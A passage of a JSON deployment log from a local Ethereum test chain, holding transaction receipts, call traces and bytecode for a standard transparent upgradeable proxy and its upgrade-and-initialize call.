59e38c9798f6103786102f1565b604080516001600160a01b03928316815291841660208301520160405180910390a161014a81610437565b60007f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc610315565b6103d4816104e0565b6040516001600160a01b038216907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b90600090a250565b606061043083836040518060600160405280602781526020016107ba60279139610574565b9392505050565b6001600160a01b03811661049c5760405162461bcd60e51b815260206004820152602660248201527f455243313936373a206e65772061646d696e20697320746865207a65726f206160448201526564647265737360d01b60648201526084016102ba565b807fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035b80546001600160a01b0319166001600160a01b039290921691909117905550565b6001600160a01b0381163b61054d5760405162461bcd60e51b815260206004820152602d60248201527f455243313936373a206e657720696d706c656d656e746174696f6e206973206e60448201526c1bdd08184818dbdb9d1c9858dd609a1b60648201526084016102ba565b807f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc6104bf565b60606001600160a01b0384163b6105dc5760405162461bcd60e51b815260206004820152602660248201527f416464726573733a2064656c65676174652063616c6c20746f206e6f6e2d636f6044820152651b9d1c9858dd60d21b60648201526084016102ba565b600080856001600160a01b0316856040516105f7919061076a565b600060405180830381855af49150503d8060008114610632576040519150601f19603f3d011682016040523d82523d6000602084013e610637565b606091505b5091509150610647828286610651565b9695505050505050565b60608315610660575081610430565b8251156106705782518084602001fd5b8160405162461bcd60e51b81526004016102ba9190610786565b80356001600160a01b03811681146106a157600080fd5b919050565b6000602082840312156106b857600080fd5b6104308261068a565b6000806000604084860312156106d657600080fd5b6106df8461068a565b9250602084013567ffffffffffffffff8111156106fb57600080fd5b8401601f8101861361070c57600080fd5b803567ffffffffffffffff81111561072357600080fd5b86602082840101111561073557600080fd5b939660209190910195509293505050565b60005b83811015610761578181015183820152602001610749565b50506000910152565b6000825161077c818460208701610746565b9190910192915050565b60208152600082518060208401526107a5816040850160208701610746565b601f01601f1916919091016040019291505056fe416464726573733a206c6f772d6c6576656c2064656c65676174652063616c6c206661696c6564a2646970667358221220c41b0469e002b3b7c2a8865eddcfedb7a0854d8e9d8184483e9f6075fcd0521d64736f6c634300081b0033","gas_used":465106,"gas_limit":636783,"status":"Return","steps":[],"decoded":{"label":null,"return_data":null,"call_data":null}},"logs":[{"raw_log":{"topics":["0xbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b","0x0000000000000000000000009fe46736679d2d9a65f0992f2272de9f3c7fa6e0"],"data":"0x"},"decoded":{"name":null,"params":null},"position":0},{"raw_log":{"topics":["0x7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f"],"data":"0x00000000000000000000000000000000000000000000000000000000000000000000000000000000000000005fbdb2315678afecb367f032d93f642f64180aa3"},"decoded":{"name":null,"params":null},"position":0}],"ordering":[{"Log":0},{"Log":1}]}],"exit":"Return","out":"0x60806040526004361061004e5760003560e01c80633659cfe6146100655780634f1ef286146100855780635c60da1b146100985780638f283970146100c9578063f851a440146100e95761005d565b3661005d5761005b6100fe565b005b61005b6100fe565b34801561007157600080fd5b5061005b6100803660046106a6565b610118565b61005b6100933660046106c1565b610155565b3480156100a457600080fd5b506100ad6101bc565b6040516001600160a01b03909116815260200160405180910390f35b3480156100d557600080fd5b5061005b6100e43660046106a6565b6101ed565b3480156100f557600080fd5b506100ad61020d565b61010661022e565b6101166101116102c3565b6102cd565b565b6101206102f1565b6001600160a01b0316330361014d5761014a81604051806020016040528060008152506000610324565b50565b61014a6100fe565b61015d6102f1565b6001600160a01b031633036101b4576101af8383838080601f01602080910402602001604051908101604052809392919081815260200183838082843760009201919091525060019250610324915050565b505050565b6101af6100fe565b60006101c66102f1565b6001600160a01b031633036101e2576101dd6102c3565b905090565b6101ea6100fe565b90565b6101f56102f1565b6001600160a01b0316330361014d5761014a8161034f565b60006102176102f1565b6001600160a01b031633036101e2576101dd6102f1565b6102366102f1565b6001600160a01b031633036101165760405162461bcd60e51b815260206004820152604260248201527f5472616e73706172656e745570677261646561626c6550726f78793a2061646d60448201527f696e2063616e6e6f742066616c6c6261636b20746f2070726f78792074617267606482015261195d60f21b608482015260a4015b60405180910390fd5b60006101dd6103a3565b3660008037600080366000845af43d6000803e8080156102ec573d6000f35b3d6000fd5b60007fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035b546001600160a01b0316919050565b61032d836103cb565b60008251118061033a5750805b156101af57610349838361040b565b50505050565b7f7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f6103786102f1565b604080516001600160a01b03928316815291841660208301520160405180910390a161014a81610437565b60007f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc610315565b6103d4816104e0565b6040516001600160a01b038216907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b90600090a250565b606061043083836040518060600160405280602781526020016107ba60279139610574565b9392505050565b6001600160a01b03811661049c5760405162461bcd60e51b815260206004820152602660248201527f455243313936373a206e65772061646d696e20697320746865207a65726f206160448201526564647265737360d01b60648201526084016102ba565b807fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035b80546001600160a01b0319166001600160a01b039290921691909117905550565b6001600160a01b0381163b61054d5760405162461bcd60e51b815260206004820152602d60248201527f455243313936373a206e657720696d706c656d656e746174696f6e206973206e60448201526c1bdd08184818dbdb9d1c9858dd609a1b60648201526084016102ba565b807f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc6104bf565b60606001600160a01b0384163b6105dc5760405162461bcd60e51b815260206004820152602660248201527f416464726573733a2064656c65676174652063616c6c20746f206e6f6e2d636f6044820152651b9d1c9858dd60d21b60648201526084016102ba565b600080856001600160a01b0316856040516105f7919061076a565b600060405180830381855af49150503d8060008114610632576040519150601f19603f3d011682016040523d82523d6000602084013e610637565b606091505b5091509150610647828286610651565b9695505050505050565b60608315610660575081610430565b8251156106705782518084602001fd5b8160405162461bcd60e51b81526004016102ba9190610786565b80356001600160a01b03811681146106a157600080fd5b919050565b6000602082840312156106b857600080fd5b6104308261068a565b6000806000604084860312156106d657600080fd5b6106df8461068a565b9250602084013567ffffffffffffffff8111156106fb57600080fd5b8401601f8101861361070c57600080fd5b803567ffffffffffffffff81111561072357600080fd5b86602082840101111561073557600080fd5b939660209190910195509293505050565b60005b83811015610761578181015183820152602001610749565b50506000910152565b6000825161077c818460208701610746565b9190910192915050565b60208152600082518060208401526107a5816040850160208701610746565b601f01601f1916919091016040019291505056fe416464726573733a206c6f772d6c6576656c2064656c65676174652063616c6c206661696c6564a2646970667358221220c41b0469e002b3b7c2a8865eddcfedb7a0854d8e9d8184483e9f6075fcd0521d64736f6c634300081b0033","nonce":5,"gas_used":573230},"receipt":{"type":"0x2","status":"0x1","cumulativeGasUsed":"0x8bf2e","logs":[{"address":"0x5fc8d32690cc91d4c39d9d3abcbd16989f875707","topics":["0xbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b","0x0000000000000000000000009fe46736679d2d9a65f0992f2272de9f3c7fa6e0"],"data":"0x"},{"address":"0x5fc8d32690cc91d4c39d9d3abcbd16989f875707","topics":["0x7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f"],"data":"0x00000000000000000000000000000000000000000000000000000000000000000000000000000000000000005fbdb2315678afecb367f032d93f642f64180aa3"}],"logsBloom":"0x00000000000000000000000000000000400000000000000000000000000000000000000000000000000400000000000000400000000000000000000000000000000000000000000000000000000002000000000240000000000000000000400000000000000000000000000000000000000000800000000000000000000000000000000000000000000000000000000000000000000000000000000000800000000000000000000000000000000000000000000000000000000000000000000000000020000000000000000000000000000000000400000000000001000000000000000000000000000000000000000000000000000000000000000000000000"},"block_hash":"0xfede283911ba375e70bbe42924c1b4680387bc5762aa0a081e0f3b967f9aa6c7","block_number":5},{"info":{"transaction_hash":"0xdbeaad0376d936df8f5bb54707e0b78789158df3505b3401a68e8d7b418ccad3","transaction_index":0,"from":"0xf39fd6e51aad88f6f4ce6ab8827279cfffb92266","to":"0x5fbdb2315678afecb367f032d93f642f64180aa3","contract_address":null,"traces":[{"parent":null,"children":[1],"idx":0,"trace":{"depth":0,"success":true,"caller":"0xf39fd6e51aad88f6f4ce6ab8827279cfffb92266","address":"0x5fbdb2315678afecb367f032d93f642f64180aa3","maybe_precompile":null,"selfdestruct_address":null,"selfdestruct_refund_target":null,"selfdestruct_transferred_value":null,"kind":"CALL","value":"0x0","data":"0x9623609d000000000000000000000000a513e6e4b8f2a923d98304ec87f64353c4d5c853000000000000000000000000959922be3caee4b8cd9a407cc3ac1c251c2007b1000000000000000000000000000000000000000000000000000000000000006000000000000000000000000000000000000000000000000000000000000000641794bb3c000000000000000000000000f39fd6e51aad88f6f4ce6ab8827279cfffb92266000000000000000000000000e7f1725e7734ce288f8367e1bb143e90bb3f0512000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000","output":"0x","gas_used":19615,"gas_limit":35906,"status":"Stop","steps":[],"decoded":{"label":null,"return_data":null,"call_data":null}},"logs":[],"ordering":[{"Call":0}]},{"parent":0,"children":[2],"idx":1,"trace":{"depth":1,"success":true,"caller":"0x5fbdb2315678afecb367f032d93f642f64180aa3","address":"0xa513e6e4b8f2a923d98304ec87f64353c4d5c853","maybe_precompile":null,"selfdestruct_address":null,"selfdestruct_refund_target":null,"selfdestruct_transferred_value":null,"kind":"CALL","value":"0x0","data":"0x4f1ef286000000000000000000000000959922be3caee4b8cd9a407cc3ac1c251c2007b1000000000000000000000000000000000000000000000000000000000000004000000000000000000000000000000000000000000000000000000000000000641794bb3c000000000000000000000000f39fd6e51aad88f6f4ce6ab8827279cfffb92266000000000000000000000000e7f1725e7734ce288f8367e1bb143e90bb3f0512000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000","output":"0x","gas_used":13345,"gas_limit":29221,"status":"Stop","steps":[],"decoded":{"label":null,"return_data":null,"call_data":null}},"logs":[{"raw_log":{"topics":["0xbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b","0x000000000000000000000000959922be3caee4b8cd9a407cc3ac1c251c2007b1"],"data":"0x"},"decoded":{"name":null,"params":null},"position":0}],"ordering":[{"Log":0},{"Call":0}]},{"parent":1,"children":[],"idx":2,"trace":{"depth":2,"success":true,"caller":"0xa513e6e4b8f2a923d98304ec87f64353c4d5c853","address":"0x959922be3caee4b8cd9a407cc3ac1c251c2007b1","maybe_precompile":null,"selfdestruct_address":null,"selfdestruct_refund_target":null,"selfdestruct_transferred_value":null,"kind":"DELEGATECALL","value":"0x0","data":"0x1794bb3c000000000000000000000000f39fd6e51aad88f6f4ce6ab8827279cfffb92266000000000000000000000000e7f1725e7734ce288f8367e1bb143e90bb3f05120000000000000000000000000000000000000000000000000000000000000000","output":"0x","gas_used":456,"gas_limit":16294,"status":"Stop","steps":[],"decoded":{"label":null,"return_data":null,"call_data":null}},"logs":[],"ordering":[]}],"exit":"Stop","out":"0x","nonce":21,"gas_used":42735},"receipt":{"type":"0x2","status":"0x1","cumulativeGasUsed":"0xa6ef","logs":[{"address":"0xa513e6e4b8f2a923d98304ec87f64353c4d5c853","topics":["0xbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b","0x000000000000000000000000959922be3caee4b8cd9a407cc3ac1c251c2007b1"],"data":"0x"}],"logsBloom":"0x00000000000000000000000000000000400000000000000000000000000000010000000000000000000000000000000000000000000000000000000000000004000000000000000000000000000002000000000010000000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000800000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000020000000000000000000000000000000000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000"},"block_hash":"0x3098355f0f6dd62568e17628ad30031db81233a310f9b72ec667e97ae80479b5","block_number":18},{"info":{"transaction_hash":"0xd91377a31c7b159e9ef1ce73a538e458ee8d91ab394309cfa6efd3b8bbd6f23a","transaction_index":0,"from":"0xf39fd6e51aad88f6f4ce6ab8827279cfffb92266","to":null,"contract_address":"0x8a791620dd6260079bf849dc5567adc3f2fdc318","traces":[{"parent":null,"children":[],"idx":0,"trace":{"depth":0,"success":true,"caller":"0xf39fd6e51aad88f6f4ce6ab8827279cfffb92266","address":"0x8a791620dd6260079bf849dc5567adc3f2fdc318","maybe_precompile":false,"selfdestruct_address":null,"selfdestruct_refund_target":null,"selfdestruct_transferred_value":null,"kind":"CREATE","value":"0x0","data":"0x6080604052604051610d78380380610d78833981016040819052610022916103e7565b828161003082826000610044565b5061003c905082610070565b50505061050c565b61004d836100de565b60008251118061005a5750805b1561006b57610069838361011e565b505b505050565b7f7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f6100b0600080516020610d31833981519152546001600160a01b031690565b604080516001600160a01b03928316815291841660208301520160405180910390a16100db8161014a565b50565b6100e7816101e6565b6040516001600160a01b038216907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b90600090a250565b60606101438383604051806060016040528060278152602001610d516027913961027a565b9392505050565b6001600160a01b0381166101b45760405162461bcd60e51b815260206004820152602660248201527f455243313936373a206e65772061646d696e20697320746865207a65726f206160448201526564647265737360d01b60648201526084015b60405180910390fd5b80600080516020610d318339815191525b80546001600160a01b0319166001600160a01b039290921691909117905550565b6001600160a01b0381163b6102535760405162461bcd60e51b815260206004820152602d60248201527f455243313936373a206e657720696d706c656d656e746174696f6e206973206e60448201526c1bdd08184818dbdb9d1c9858dd609a1b60648201526084016101ab565b807f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc6101c5565b60606001600160a01b0384163b6102e25760405162461bcd60e51b815260206004820152602660248201527f416464726573733a2064656c65676174652063616c6c20746f206e6f6e2d636f6044820152651b9d1c9858dd60d21b60648201526084016101ab565b600080856001600160a01b0316856040516102fd91906104bd565b600060405180830381855af49150503d8060008114610338576040519150601f19603f3d011682016040523d82523d6000602084013e61033d565b606091505b50909250905061034e828286610358565b9695505050505050565b60608315610367575081610143565b8251156103775782518084602001fd5b8160405162461bcd60e51b81526004016101ab91906104d9565b80516001600160a01b03811681146103a857600080fd5b919050565b634e487b7160e01b600052604160045260246000fd5b60005b838110156103de5781810151838201526020016103c6565b50506000910152565b6000806000606084860312156103fc57600080fd5b61040584610391565b925061041360208501610391565b60408501519092506001600160401b0381111561042f57600080fd5b8401601f8101861361044057600080fd5b80516001600160401b03811115610459576104596103ad565b604051601f8201601f19908116603f011681016001600160401b0381118282101715610487576104876103ad565b60405281815282820160200188101561049f57600080fd5b6104b08260208301602086016103c3565b8093505050509250925092565b600082516104cf8184602087016103c3565b9190910192915050565b60208152600082518060208401526104f88160408501602087016103c3565b601f01601f19169190910160400192915050565b6108168061051b6000396000f3fe60806040526004361061004e5760003560e01c80633659cfe6146100655780634f1ef286146100855780635c60da1b146100985780638f283970146100c9578063f851a440146100e95761005d565b3661005d5761005b6100fe565b005b61005b6100fe565b34801561007157600080fd5b5061005b6100803660046106a6565b610118565b61005b6100933660046106c1565b610155565b3480156100a457600080fd5b506100ad6101bc565b6040516001600160a01b03909116815260200160405180910390f35b3480156100d557600080fd5b5061005b6100e43660046106a6565b6101ed565b3480156100f557600080fd5b506100ad61020d565b61010661022e565b6101166101116102c3565b6102cd565b565b6101206102f1565b6001600160a01b0316330361014d5761014a81604051806020016040528060008152506000610324565b50565b61014a6100fe565b61015d6102f1565b6001600160a01b031633036101b4576101af8383838080601f01602080910402602001604051908101604052809392919081815260200183838082843760009201919091525060019250610324915050565b505050565b6101af6100fe565b60006101c66102f1565b6001600160a01b031633036101e2576101dd6102c3565b905090565b6101ea6100fe565b90565b6101f56102f1565b6001600160a01b0316330361014d5761014a8161034f565b60006102176102f1565b6001600160a01b031633036101e2576101dd6102f1565b6102366102f1565b6001600160a01b031633036101165760405162461bcd60e51b815260206004820152604260248201527f5472616e73706172656e745570677261646561626c6550726f78793a2061646d60448201527f696e2063616e6e6f742066616c6c6261636b20746f2070726f78792074617267606482015261195d60f21b608482015260a4015b60405180910390fd5b60006101dd6103a3565b3660008037600080366000845af43d6000803e8080156102ec573d6000f35b3d6000fd5b60007fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035b546001600160a01b0316919050565b61032d836103cb565b60008251118061033a5750805b156101af57610349838361040b565b50505050565b7f7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f6103786102f1565b604080516001600160a01b03928316815291841660208301520160405180910390a161014a81610437565b60007f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc610315565b6103d4816104e0565b6040516001600160a01b038216907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b90600090a250565b606061043083836040518060600160405280602781526020016107ba60279139610574565b9392505050565b6001600160a01b03811661049c5760405162461bcd60e51b815260206004820152602660248201527f455243313936373a206e65772061646d696e20697320746865207a65726f206160448201526564647265737360d01b60648201526084016102ba565b807fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035b80546001600160a01b0319166001600160a01b039290921691909117905550565b6001600160a01b0381163b61054d5760405162461bcd60e51b815260206004820152602d60248201527f455243313936373a206e657720696d706c656d656e746174696f6e206973206e60448201526c1bdd08184818dbdb9d1c9858dd609a1b60648201526084016102ba565b807f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc6104bf565b60606001600160a01b0384163b6105dc5760405162461bcd60e51b815260206004820152602660248201527f416464726573733a2064656c65676174652063616c6c20746f206e6f6e2d636f6044820152651b9d1c9858dd60d21b60648201526084016102ba565b600080856001600160a01b0316856040516105f7919061076a565b600060405180830381855af49150503d8060008114610632576040519150601f19603f3d011682016040523d82523d6000602084013e610637565b606091505b5091509150610647828286610651565b9695505050505050565b60608315610660575081610430565b8251156106705782518084602001fd5b8160405162461bcd60e51b81526004016102ba9190610786565b80356001600160a01b03811681146106a157600080fd5b919050565b6000602082840312156106b857600080fd5b6104308261068a565b6000806000604084860312156106d657600080fd5b6106df8461068a565b9250602084013567ffffffffffffffff8111156106fb57600080fd5b8401601f8101861361070c57600080fd5b803567ffffffffffffffff81111561072357600080fd5b86602082840101111561073557600080fd5b939660209190910195509293505050565b60005b83811015610761578181015183820152602001610749565b50506000910152565b6000825161077c818460208701610746565b9190910192915050565b60208152600082518060208401526107a5816040850160208701610746565b601f01601f1916919091016040019291505056fe416464726573733a206c6f772d6c6576656c2064656c65676174652063616c6c206661696c6564a2646970667358221220c41b0469e002b3b7c2a8865eddcfedb7a0854d8e9d8184483e9f6075fcd0521d64736f6c634300081b0033b53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103416464726573733a206c6f772d6c6576656c2064656c65676174652063616c6c206661696c65640000000000000000000000009fe46736679d2d9a65f0992f2272de9f3c7fa6e00000000000000000000000005fbdb2315678afecb367f032d93f642f64180aa300000000000000000000000000000000000000000000000000000000000000600000000000000000000000000000000000000000000000000000000000000000","output":"0x60806040526004361061004e5760003560e01c80633659cfe6146100655780634f1ef286146100855780635c60da1b146100985780638f283970146100c9578063f851a440146100e95761005d565b3661005d5761005b6100fe565b005b61005b6100fe565b34801561007157600080fd5b5061005b6100803660046106a6565b610118565b61005b6100933660046106c1565b610155565b3480156100a457600080fd5b506100ad6101bc565b6040516001600160a01b03909116815260200160405180910390f35b3480156100d557600080fd5b5061005b6100e43660046106a6565b6101ed565b3480156100f557600080fd5b506100ad61020d565b61010661022e565b6101166101116102c3565b6102cd565b565b6101206102f1565b6001600160a01b0316330361014d5761014a81604051806020016040528060008152506000610324565b50565b61014a6100fe565b61015d6102f1565b6001600160a01b031633036101b4576101af8383838080601f01602080910402602001604051908101604052809392919081815260200183838082843760009201919091525060019250610324915050565b505050565b6101af6100fe565b60006101c66102f1565b6001600160a01b031633036101e2576101dd6102c3565b905090565b6101ea6100fe565b90565b6101f56102f1565b6001600160a01b0316330361014d5761014a8161034f565b60006102176102f1565b6001600160a01b031633036101e2576101dd6102f1565b6102366102f1565b6001600160a01b031633036101165760405162461bcd60e51b815260206004820152604260248201527f5472616e73706172656e745570677261646561626c6550726f78793a2061646d60448201527f696e2063616e6e6f742066616c6c6261636b20746f2070726f78792074617267606482015261195d60f21b608482015260a4015b60405180910390fd5b60006101dd6103a3565b3660008037600080366000845af43d6000803e8080156102ec573d6000f35b3d6000fd5b60007fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035b546001600160a01b0316919050565b61032d836103cb565b60008251118061033a5750805b156101af57610349838361040b565b50505050565b7f7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f6103786102f1565b604080516001600160a01b03928316815291841660208301520160405180910390a161014a81610437565b60007f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc610315565b6103d4816104e0565b6040516001600160a01b038216907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b90600090a250565b606061043083836040518060600160405280602781526020016107ba60279139610574565b9392505050565b6001600160a01b03811661049c5760405162461bcd60e51b815260206004820152602660248201527f455243313936373a206e65772061646d696e20697320746865207a65726f206160448201526564647265737360d01b60648201526084016102ba565b807fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035b80546001600160a01b0319166001600160a01b039290921691909117905550565b6001600160a01b0381163b61054d5760405162461bcd60e51b815260206004820152602d60248201527f455243313936373a206e657720696d706c656d656e746174696f6e206973206e60448201526c1bdd08184818dbdb9d1c9858dd609a1b60648201526084016102ba565b807f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc6104bf565b60606001600160a01b0384163b6105dc5760405162461bcd60e51b815260206004820152602660248201527f416464726573733a2064656c65676174652063616c6c20746f206e6f6e2d636f6044820152651b9d1c9858dd60d21b60648201526084016102ba565b600080856001600160a01b0316856040516105f7919061076a565b600060405180830381855af49150503d8060008114610632576040519150601f19603f3d011682016040523d82523d6000602084013e610637565b606091505b5091509150610647828286610651565b9695505050505050565b60608315610660575081610430565b8251156106705782518084602001fd5b8160405162461bcd60e51b81526004016102ba9190610786565b80356001600160a01b03811681146106a157600080fd5b919050565b6000602082840312156106b857600080fd5b6104308261068a565b6000806000604084860312156106d657600080fd5b6106df8461068a565b9250602084013567ffffffffffffffff8111156106fb57600080fd5b8401601f8101861361070c57600080fd5b803567ffffffffffffffff81111561072357600080fd5b86602082840101111561073557600080fd5b939660209190910195509293505050565b60005b83811015610761578181015183820152602001610749565b50506000910152565b6000825161077c818460208701610746565b9190910192915050565b60208152600082518060208401526107a5816040850160208701610746565b601f01601f1916919091016040019291505056fe416464726573733a206c6f772d6c6576656c2064656c65676174652063616c6c206661696c6564a2646970667358221220c41b0469e002b3b7c2a8865eddcfedb7a0854d8e9d8184483e9f6075fcd0521d64736f6c634300081b0033","gas_used":465106,"gas_limit":636783,"status":"Return","steps":[],"decoded":{"label":null,"return_data":null,"call_data":null}},"logs":[{"raw_log":{"topics":["0xbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b","0x0000000000000000000000009fe46736679d2d9a65f0992f2272de9f3c7fa6e0"],"data":"0x"},"decoded":{"name":null,"params":null},"position":0},{"raw_log":{"topics":["0x7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f"],"data":"0x00000000000000000000000000000000000000000000000000000000000000000000000000000000000000005fbdb2315678afecb367f032d93f642f64180aa3"},"decoded":{"name":null,"params":null},"position":0}],"ordering":[{"Log":0},{"Log":1}]}],"exit":"Return","out":"0x60806040526004361061004e5760003560e01c80633659cfe6146100655780634f1ef286146100855780635c60da1b146100985780638f283970146100c9578063f851a440146100e95761005d565b3661005d5761005b6100fe565b005b61005b6100fe565b34801561007157600080fd5b5061005b6100803660046106a6565b610118565b61005b6100933660046106c1565b610155565b3480156100a457600080fd5b506100ad6101bc565b6040516001600160a01b03909116815260200160405180910390f35b3480156100d557600080fd5b5061005b6100e43660046106a6565b6101ed565b3480156100f557600080fd5b506100ad61020d565b61010661022e565b6101166101116102c3565b6102cd565b565b6101206102f1565b6001600160a01b0316330361014d5761014a81604051806020016040528060008152506000610324565b50565b61014a6100fe565b61015d6102f1565b6001600160a01b031633036101b4576101af8383838080601f01602080910402602001604051908101604052809392919081815260200183838082843760009201919091525060019250610324915050565b505050565b6101af6100fe565b60006101c66102f1565b6001600160a01b031633036101e2576101dd6102c3565b905090565b6101ea6100fe565b90565b6101f56102f1565b6001600160a01b0316330361014d5761014a8161034f565b60006102176102f1565b6001600160a01b031633036101e2576101dd6102f1565b6102366102f1565b6001600160a01b031633036101165760405162461bcd60e51b815260206004820152604260248201527f5472616e73706172656e745570677261646561626c6550726f78793a2061646d60448201527f696e2063616e6e6f742066616c6c6261636b20746f2070726f78792074617267606482015261195d60f21b608482015260a4015b60405180910390fd5b60006101dd6103a3565b3660008037600080366000845af43d6000803e8080156102ec573d6000f35b3d6000fd5b60007fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035b546001600160a01b0316919050565b61032d836103cb565b60008251118061033a5750805b156101af57610349838361040b565b50505050565b7f7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f6103786102f1565b604080516001600160a01b03928316815291841660208301520160405180910390a161014a81610437565b60007f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc610315565b6103d4816104e0565b6040516001600160a01b038216907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b90600090a250565b606061043083836040518060600160405280602781526020016107ba60279139610574565b9392505050565b6001600160a01b03811661049c5760405162461bcd60e51b815260206004820152602660248201527f455243313936373a206e65772061646d696e20697320746865207a65726f206160448201526564647265737360d01b60648201526084016102ba565b807fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035b80546001600160a01b0319166001600160a01b039290921691909117905550565b6001600160a01b0381163b61054d5760405162461bcd60e51b815260206004820152602d60248201527f455243313936373a206e657720696d706c656d656e746174696f6e206973206e60448201526c1bdd08184818dbdb9d1c9858dd609a1b60648201526084016102ba565b807f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc6104bf565b60606001600160a01b0384163b6105dc5760405162461bcd60e51b815260206004820152602660248201527f416464726573733a2064656c65676174652063616c6c20746f206e6f6e2d636f6044820152651b9d1c9858dd60d21b60648201526084016102ba565b600080856001600160a01b0316856040516105f7919061076a565b600060405180830381855af49150503d8060008114610632576040519150601f19603f3d011682016040523d82523d6000602084013e610637565b606091505b5091509150610647828286610651565b9695505050505050565b60608315610660575081610430565b8251156106705782518084602001fd5b8160405162461bcd60e51b81526004016102ba9190610786565b80356001600160a01b03811681146106a157600080fd5b919050565b6000602082840312156106b857600080fd5b6104308261068a565b6000806000604084860312156106d657600080fd5b6106df8461068a565b9250602084013567ffffffffffffffff8111156106fb57600080fd5b8401601f8101861361070c57600080fd5b803567ffffffffffffffff81111561072357600080fd5b86602082840101111561073557600080fd5b939660209190910195509293505050565b60005b83811015610761578181015183820152602001610749565b50506000910152565b6000825161077c818460208701610746565b9190910192915050565b60208152600082518060208401526107a5816040850160208701610746565b601f01601f1916919091016040019291505056fe416464726573733a206c6f772d6c6576656c2064656c65676174652063616c6c206661696c6564a2646970667358221220c41b0469e002b3b7c2a8865eddcfedb7a0854d8e9d8184483e9f6075fcd0521d64736f6c634300081b0033","nonce":9,"gas_used":573230},"receipt":{"type":"0x2","status":"0x1","cumulativeGasUsed":"0x8bf2e","logs":[{"address":"0x8a791620dd6260079bf849dc5567adc3f2fdc318","topics":["0xbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b","0x0000000000000000000000009fe46736679d2d9a65f0992f2272de9f3c7fa6e0"],"data":"0x"},{"address":"0x8a791620dd6260079bf849dc5567adc3f2fdc318","topics":["0x7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f"],"data":"0x00000000000000000000000000000000000000000000000000000000000000000000000000000000000000005fbdb2315678afecb367f032d93f642f64180aa3"}],"logsBloom":"0x00000000000000000000000000000000400000000000000000000000000000000000000000000000000400000000000000400000000000000000000000000000000000000000000000000000000002000000000000000000000000000000400000000000000000000000000000000000000000800000000000000000000000000000000000000000000000000000000000000000000000000000000000800000002000000000000000000000008000000000000000000000000000000000000000000020000000000000000000000000040000000400000000000000000000000000000000000000000000000000000000000000000000000000000000000000"},"block_hash":"0xdf112719c2151d541ac3fe67077640c0cb85ade879291b7b7cb41223184869cc","block_number":7},{"info":{"transaction_hash":"0x798574a8cdfe6597af6db879423f72684596ecbe6d87b626ac6f0b9a51fa4ab2","transaction_index":0,"from":"0xf39fd6e51aad88f6f4ce6ab8827279cfffb92266","to":null,"contract_address":"0x610178da211fef7d417bc0e6fed39f05609ad788","traces":[{"parent":null,"children":[],"idx":0,"trace":{"depth":0,"success":true,"caller":"0xf39fd6e51aad88f6f4ce6ab8827279cfffb92266","address":"0x610178da211fef7d417bc0e6fed39f05609ad788","maybe_precompile":false,"selfdestruct_address":null,"selfdestruct_refund_target":null,"selfdestruct_transferred_value":null,"kind":"CREATE","value":"0x0","data":"0x61012060405234801561001157600080fd5b50604051615f0f380380615f0f83398101604081905261003091610163565b6001600160a01b0380861660805284811660a052831660c0526001600160401b0380831660e05281166101005261006561006f565b50505050506101d0565b600054610100900460ff16156100db5760405162461bcd60e51b815260206004820152602760248201527f496e697469616c697a61626c653a20636f6e747261637420697320696e697469604482015266616c697a696